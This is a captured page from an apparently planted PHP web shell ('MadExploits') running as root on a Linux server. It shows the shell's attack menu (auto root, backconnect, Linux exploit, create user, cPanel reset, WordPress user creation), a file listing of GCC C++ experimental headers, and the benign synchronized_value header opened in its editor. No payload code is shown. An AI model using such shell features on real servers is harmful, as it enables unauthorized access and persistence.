Linux r-1tbfree-gecko-e8ip2zsa-2f967-wvg4t 6.12.63-84.121.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Dec 31 02:07:30 UTC 2025 x86_64
PHP/8.5.2 (Development Server)
: | : 10.16.21.217
Cant Read [ /etc/named.conf ]
8.5.2
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
c++ /
14 /
experimental /
[ HOME SHELL ]
Name
Size
Permission
Action
bits
[ DIR ]
drwxr-xr-x
algorithm
3.67
KB
-rw-r--r--
any
15.72
KB
-rw-r--r--
array
3.36
KB
-rw-r--r--
buffer
28.12
KB
-rw-r--r--
chrono
2.03
KB
-rw-r--r--
contract
2.52
KB
-rw-r--r--
deque
2.31
KB
-rw-r--r--
executor
55
KB
-rw-r--r--
filesystem
1.62
KB
-rw-r--r--
forward_list
2.38
KB
-rw-r--r--
functional
12.01
KB
-rw-r--r--
internet
68.82
KB
-rw-r--r--
io_context
22.16
KB
-rw-r--r--
iterator
3.52
KB
-rw-r--r--
list
2.28
KB
-rw-r--r--
map
2.79
KB
-rw-r--r--
memory
5.97
KB
-rw-r--r--
memory_resource
17.83
KB
-rw-r--r--
net
1.58
KB
-rw-r--r--
netfwd
3.73
KB
-rw-r--r--
numeric
3.4
KB
-rw-r--r--
optional
26.06
KB
-rw-r--r--
propagate_const
16.73
KB
-rw-r--r--
random
2.61
KB
-rw-r--r--
ratio
2.45
KB
-rw-r--r--
regex
2.14
KB
-rw-r--r--
scope
14.17
KB
-rw-r--r--
set
2.66
KB
-rw-r--r--
simd
2.88
KB
-rw-r--r--
socket
76.44
KB
-rw-r--r--
source_location
2.68
KB
-rw-r--r--
string
2.92
KB
-rw-r--r--
string_view
21.96
KB
-rw-r--r--
synchronized_value
3.27
KB
-rw-r--r--
system_error
2.07
KB
-rw-r--r--
timer
5.74
KB
-rw-r--r--
tuple
2.48
KB
-rw-r--r--
type_traits
11.79
KB
-rw-r--r--
unordered_map
3.07
KB
-rw-r--r--
unordered_set
2.94
KB
-rw-r--r--
utility
1.76
KB
-rw-r--r--
vector
2.37
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : synchronized_value
// <experimental/synchronized_value> -*- C++ -*- // Copyright The GNU Toolchain Authors. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // <http://www.gnu.org/licenses/>. /** @file include/experimental/synchronized_value * This is a TS C++ Library header. * @ingroup libfund-ts */ #ifndef _GLIBCXX_EXPERIMENTAL_SYNCVAL #define _GLIBCXX_EXPERIMENTAL_SYNCVAL 1 #pragma GCC system_header #include <bits/requires_hosted.h> // for std::mutex #if __cplusplus >= 201703L #include <mutex> #include <bits/invoke.h> namespace std _GLIBCXX_VISIBILITY(default) { _GLIBCXX_BEGIN_NAMESPACE_VERSION namespace experimental::inline concurrency_v2 { #define __cpp_lib_concurrency_v2_synchronized_value 202302 template<typename _Tp> class synchronized_value { // TODO: Use partial specialization after PR c++/71954 is fixed. template<typename... _Args> static inline constexpr bool __is_self = sizeof...(_Args) == 1 && (is_same_v<__remove_cvref_t<_Args>, synchronized_value> && ...); #if ! __cpp_concepts template<typename... _Args> using __not_self = bool_constant<!__is_self<_Args...>>; #endif public: synchronized_value(const synchronized_value&) = delete; synchronized_value& operator=(const synchronized_value&) = delete; #if __cpp_concepts template<typename... _Args> requires (!__is_self<_Args...>) && is_constructible_v<_Tp, _Args...> #else template<typename... _Args, typename = _Require<__not_self<_Args...>>, typename = _Require<is_constructible<_Tp, _Args...>>> #endif synchronized_value(_Args&&... __args) noexcept(is_nothrow_constructible_v<_Tp, _Args...>) : _M_val(std::forward<_Args>(__args)...) { } template<typename _Fn, typename _Up, typename ... _Types> friend invoke_result_t<_Fn, _Up&, _Types&...> apply(_Fn&&, synchronized_value<_Up>&, synchronized_value<_Types>&...); private: mutex _M_mut; _Tp _M_val; }; template<typename _Fn, typename _Tp, typename... _Types> inline invoke_result_t<_Fn, _Tp&, _Types&...> apply(_Fn&& __f, synchronized_value<_Tp>& __val, synchronized_value<_Types>&... __vals) { scoped_lock __l(__val._M_mut, __vals._M_mut...); return std::__invoke(std::forward<_Fn>(__f), __val._M_val, __vals._M_val...); } } // namespace experimental::concurrency_v2 _GLIBCXX_END_NAMESPACE_VERSION } // namespace std #endif // C++20 #endif // _GLIBCXX_EXPERIMENTAL_SYNCVAL
Close